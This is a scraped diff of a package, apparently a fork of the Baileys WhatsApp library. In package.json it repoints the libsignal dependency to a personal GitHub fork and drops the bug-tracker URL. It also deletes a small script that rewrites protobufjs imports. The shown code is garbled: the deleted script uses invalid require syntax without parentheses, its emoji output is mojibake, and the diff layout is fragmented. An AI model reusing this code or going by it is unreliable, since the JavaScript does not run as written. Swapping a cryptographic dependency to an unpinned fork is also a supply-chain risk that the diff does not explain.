|
|
@@ -45,7 +51,7 @@
|
|
|
45
51
|
"futoin-hkdf": "^1.5.1",
|
|
46
52
|
"libphonenumber-js": "^1.10.20",
|
|
47
53
|
"lodash": "^4.17.21",
|
|
48
|
-
"libsignal": "github:
|
|
54
|
+
"libsignal": "github:tenka-san/libsignal-node",
|
|
49
55
|
"music-metadata": "^7.12.3",
|
|
50
56
|
"node-cache": "^5.1.2",
|
|
51
57
|
"node-fetch": "^2.6.1",
|
|
@@ -99,8 +105,5 @@
|
|
|
99
105
|
"packageManager": "yarn@1.22.19",
|
|
100
106
|
"engines": {
|
|
101
107
|
"node": ">=20.0.0"
|
|
102
|
-
},
|
|
103
|
-
"bugs": {
|
|
104
|
-
"url": "https://github.com/jiancodes/baileys/issues"
|
|
105
108
|
}
|
|
106
109
|
}
|
package/WAProto/fix-import.js
DELETED
|
@@ -1,29 +0,0 @@
|
|
|
1
|
-
const { readFileSync, writeFileSync } = require 'fs';
|
|
2
|
-
const { exit } = require 'process';
|
|
3
|
-
|
|
4
|
-
const filePath = './index.js';
|
|
5
|
-
|
|
6
|
-
try {
|
|
7
|
-
// Read the file
|
|
8
|
-
let content = readFileSync(filePath, 'utf8');
|
|
9
|
-
|
|
10
|
-
// Fix the import statement
|
|
11
|
-
content = content.replace(
|
|
12
|
-
/import \* as (\$protobuf) from/g,
|
|
13
|
-
'import $1 from'
|
|
14
|
-
);
|
|
15
|
-
|
|
16
|
-
// add missing extension to the import
|
|
17
|
-
content = content.replace(
|
|
18
|
-
/(['"])protobufjs\/minimal(['"])/g,
|
|
19
|
-
'$1protobufjs/minimal.js$2'
|
|
20
|
-
);
|
|
21
|
-
|
|
22
|
-
// Write back
|
|
23
|
-
writeFileSync(filePath, content, 'utf8');
|
|
24
|
-
|
|
25
|
-
console.log(`ā
Fixed imports in ${filePath}`);
|
|
26
|
-
} catch (error) {
|
|
27
|
-
console.error(`ā Error fixing imports: ${error.message}`);
|
|
28
|
-
exit(1);
|
|
29
|
-
}
|